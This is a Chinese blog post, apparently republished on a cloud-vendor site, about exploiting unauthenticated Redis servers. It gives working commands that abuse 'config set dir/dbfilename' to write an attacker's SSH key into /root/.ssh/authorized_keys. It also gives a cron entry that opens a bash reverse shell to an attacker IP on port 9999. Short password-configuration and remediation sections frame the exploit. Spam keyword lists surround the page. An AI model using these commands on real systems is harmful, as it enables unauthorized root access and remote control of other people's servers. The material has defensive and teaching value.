中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

redis未授權訪問漏洞利用

發布時間:2020-07-04 00:56:12 來源:網絡 閱讀:20235 作者:wt7315 欄目:安全技術

各位大佬好!好久沒寫過博客記錄了,最近挖了個redis未授權訪問漏洞,并利用了一番,在此,分享下這個雞肋卻能直接獲得服務器權限的漏洞。

0x01:redis基礎

Redis默認配置是不需要密碼認證的,也就是說只要連接的Redis服務器的host和port正確,就可以連接使用。這在安全性上會有一定的問題,所以需要啟用Redis的認證密碼,增加Redis服務器的安全性。

  • 修改配置文件

Redis的配置文件默認在/etc/redis.conf,找到如下行:

#requirepass foobared
去掉前面的注釋,并修改為所需要的密碼:

requirepass myPassword (其中myPassword就是要設置的密碼)

  • 重啟Redis

如果Redis已經配置為service服務,可以通過以下方式重啟:

service redis restart
如果Redis沒有配置為service服務,可以通過以下方式重啟:

/usr/local/bin/redis-cli shutdown
/usr/local/bin/redis-server /etc/redis.conf

  • 登錄驗證

設置Redis認證密碼后,客戶端登錄時需要使用-a參數輸入認證密碼,不添加該參數雖然也可以登錄成功,但是沒有任何操作權限。如下:

$ ./redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> keys *
(error) NOAUTH Authentication required.
使用密碼認證登錄,并驗證操作權限:

$ ./redis-cli -h 127.0.0.1 -p 6379 -a myPassword
127.0.0.1:6379> config get requirepass
1) "requirepass"
2) "myPassword"
看到類似上面的輸出,說明Reids密碼認證配置成功。

0x02漏洞描述

漏洞描述:
Redis因配置不當可以未授權訪問,被***者惡意利用。
***者無需認證訪問到內部數據,可能導致敏感信息泄露,***也可以惡意執行flushall來清空所有數據。
***者可通過EVAL執行lua代碼,或通過數據備份功能往磁盤寫入后門文件。
如果Redis以root身份運行,***可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器。

危害:
***者可利用該漏洞寫入計劃任務反彈shell
***者可利用該漏洞寫入ssh公鑰遠程連接。

0x03:漏洞利用

  1. 使用redis連接工具連接。windows下學習和連接redis,redis下載地址:https://github.com/dmajkic/redis/downloads
  2. 使用redis-cli.exe連接
    redis未授權訪問漏洞利用

0x04:漏洞高級利用

利用原理:
1) SSH免密碼登錄,Linux下可以設置SSH免密碼登錄,方法為使用"公私鑰"認證,即首先在客戶端上創建一對公私鑰 (公鑰文件:~/.ssh/id_rsa.pub; 私鑰文件:~/.ssh/id_rsa)。然后把公鑰放到服務器上(~/.ssh/authorized_keys), 自己保留好私鑰.在使用ssh登錄時,ssh程序會發送私鑰去和服務器上的公鑰做匹配.如果匹配成功就可以登錄了。詳細可參考(http://jingyan.baidu.com/article/2fb0ba4043124a00f2ec5f0f.html )SSH免密碼登陸遠程服務器

2)Redis可通過Redis-CLI遠程管理,設置Redis的默認路徑以及數據庫緩存文件。
方法如下:
config set dir /xxx
config set dbfilename xxxx
set xxxx "xxx"<br/>save

  • 漏洞條件

1.Redis服務使用ROOT賬號啟動
2.Redis服務無密碼認證或者使用的是弱口令進行認證
3.服務器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器。

首先在本地生成一對密鑰:
redis未授權訪問漏洞利用

然后通過redis-clis遠程連接到目標redis服務器,執行以下命令
redis未授權訪問漏洞利用
config set dir /root/.ssh/
config set dbfilename authorized_keys

set xxxx "\n\n\nssh-rsa key_pub\n\n\n",其中key_pub為上圖生成的公鑰,即可將公鑰保存在遠端服務器,使得登錄時不需要輸入賬號與密碼。Redis已經因該漏洞被***,并在其緩存數據庫中發現被寫入的公鑰,建議用戶馬上對內部網絡進行排查。

反彈shell

1、telnet登錄/也可以redis-cli登錄
redis未授權訪問漏洞利用

telnet 192.168.236.130 6379//未授權登錄

config set dir /var/spool/cron/ //配置文件夾的路徑(CONFIG SET 命令可以動態地調整 Redis 服務器的配置而(configuration)而無須重啟。)//每個用戶生成的crontab文件,都會放在 /var/spool/cron/ 目錄下面

set -.- "\n\n\n* * * * * bash -i &gt;& /dev/tcp/192.168.236.129/9999 0&gt;&1\n\n\n"//直接往當前用戶的crontab里寫入反彈shell,換行是必不可少的。

2.nc反彈
redis未授權訪問漏洞利用
3.Centos里面查看crontab任務。
redis未授權訪問漏洞利用

0x06:漏洞修復

該漏洞的修補方法如下:
1)禁止使用 root 權限啟動 redis 服務;
2)對 redis 訪問啟用密碼認證,并且添加 IP 訪問限制;
3)盡可能不對公網直接開放 SSH 服務。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

镇康县| 琼结县| 喀什市| 哈尔滨市| 朝阳区| 瑞丽市| 太湖县| 博客| 平潭县| 无极县| 乐清市| 无棣县| 台南市| 峡江县| 武陟县| 汝州市| 琼海市| 防城港市| 潼南县| 贺兰县| 家居| 鞍山市| 呼伦贝尔市| 屏东市| 任丘市| 策勒县| 西林县| 青阳县| 格尔木市| 灵宝市| 长乐市| 隆子县| 綦江县| 漳浦县| 清镇市| 蒙城县| 大关县| 扎兰屯市| 大新县| 中西区| 榆社县|